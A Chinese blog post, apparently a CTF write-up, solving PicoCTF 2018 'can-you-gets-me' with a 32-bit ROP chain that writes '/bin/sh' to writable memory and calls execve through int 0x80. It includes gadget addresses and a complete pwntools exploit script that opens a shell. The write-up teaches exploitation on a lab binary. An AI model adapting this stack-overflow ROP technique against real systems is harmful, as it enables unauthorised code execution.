欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

非常规情况下栈溢出系统调用——PicoCTF_2018_can-you-gets-me

程序员文章站 2022-05-15 21:48:08
...

前言:

对于这种非常规的栈溢出题目,我自己也是见的比较少,故写此博客记录一下。

解题思路

查看保护

非常规情况下栈溢出系统调用——PicoCTF_2018_can-you-gets-me
只开了NX保护的32位程序,如果是常规题的话,应该是非常容易做的。

进入IDA查看伪代码

打开IDA,如果是第一次见这种题目就会傻眼了。
非常规情况下栈溢出系统调用——PicoCTF_2018_can-you-gets-me
题目中的每一个函数都好像是自己写的,那么我们就不能利用got表来泄露函数地址来getshell了。
题目开了NX保护,我们不能写shellcode,常规的ROP又利用不了,我们就完全利用不了libc里边的函数了。
乍一看,好像没什么办法了,但是我们可以用程序中非常多的gadget来调用系统调用。

目标:execve(0xb, “/bin/sh”, 0, 0);

既然是系统调用,我们就很容易想到execve来getshell,而程序中也正好有这些gadgets,包括最重要的int 0x80。
而execve的结构是:

eax = 0x0b
ebx = address of "/bin/sh"
ecx = 0
edx = 0

我们就用ROPgadget来找到我们想要的gadget。

0x080b81c6 : pop eax ; ret
0x0806f02a : pop edx ; ret
0x0806f051 : pop ecx ; pop ebx ; ret
0x080549db : mov [edx], eax;ret
0x08049303 : xor eax, eax ; ret
0x0808f097 : add eax, 2 ; ret
0x0808f0b0 : add eax, 3 ; ret
0x0806cc25 : int 0x80
0x080481b2 : ret

而且我们还需要把/bin/sh放到一个地方,放在哪里合适呢?

0x08048000 0x080e9000 r-xp	/mnt/hgfs/share/buuctf/PicoCTF_2018_can-you-gets-me/PicoCTF_2018_can-you-gets-me
0x080e9000 0x080eb000 rw-p	/mnt/hgfs/share/buuctf/PicoCTF_2018_can-you-gets-me/PicoCTF_2018_can-you-gets-me   #毫无疑问,放在这里可写的地方最合适
0x080eb000 0x0810e000 rw-p	[heap]
0xf7ffa000 0xf7ffd000 r--p	[vvar]
0xf7ffd000 0xf7ffe000 r-xp	[vdso]
0xfffdd000 0xffffe000 rw-p	[stack]

我们就放在0x080e9000到0x080eb000之间就行
然后我们用我们找到的gadgets来构造exp就可以了。

完整exp:

#! /usr/bin/env python
from pwn import *

p = process('./PicoCTF_2018_can-you-gets-me')
#p = remote('node3.buuoj.cn', 28541)

writeable_memory = 0x080e9040
binsh = 0x80e9040
int80 = 0x0806cc25
ret = 0x080481b2

pop_eax = 0x080b81c6
pop_edx = 0x0806f02a
pop_ecx_ebx = 0x0806f051
mov_eax_to_edx = 0x080549db

set_eax_zero = 0x08049303
add_eax_two = 0x0808f097
add_eax_three = 0x0808f0b0

payload = ""
payload += "A"*28

payload += p32(pop_edx)
payload += p32(writeable_memory)

payload += p32(pop_eax)
payload += "/bin"

payload += p32(mov_eax_to_edx)

writeable_memory += 4

payload += p32(pop_edx)
payload += p32(writeable_memory)

payload += p32(pop_eax)
payload += "/sh\x00"

payload += p32(mov_eax_to_edx)

writeable_memory += 3

payload += p32(set_eax_zero)
payload += p32(pop_edx)

payload += p32(writeable_memory)    #   让字符串以空结尾
payload += p32(mov_eax_to_edx)

payload += p32(pop_ecx_ebx)
payload += p32(0)
payload += p32(binsh)

payload += p32(pop_edx)
payload += p32(0)

payload += p32(set_eax_zero)
payload += p32(add_eax_three)
payload += p32(add_eax_three)
payload += p32(add_eax_three)
payload += p32(add_eax_two)     # eax = 0x0b

payload += p32(int80)
payload += p32(ret)

p.recvuntil("GIVE ME YOUR NAME!")
p.send(payload)
p.interactive()
相关标签: 栈溢出 ROP pwn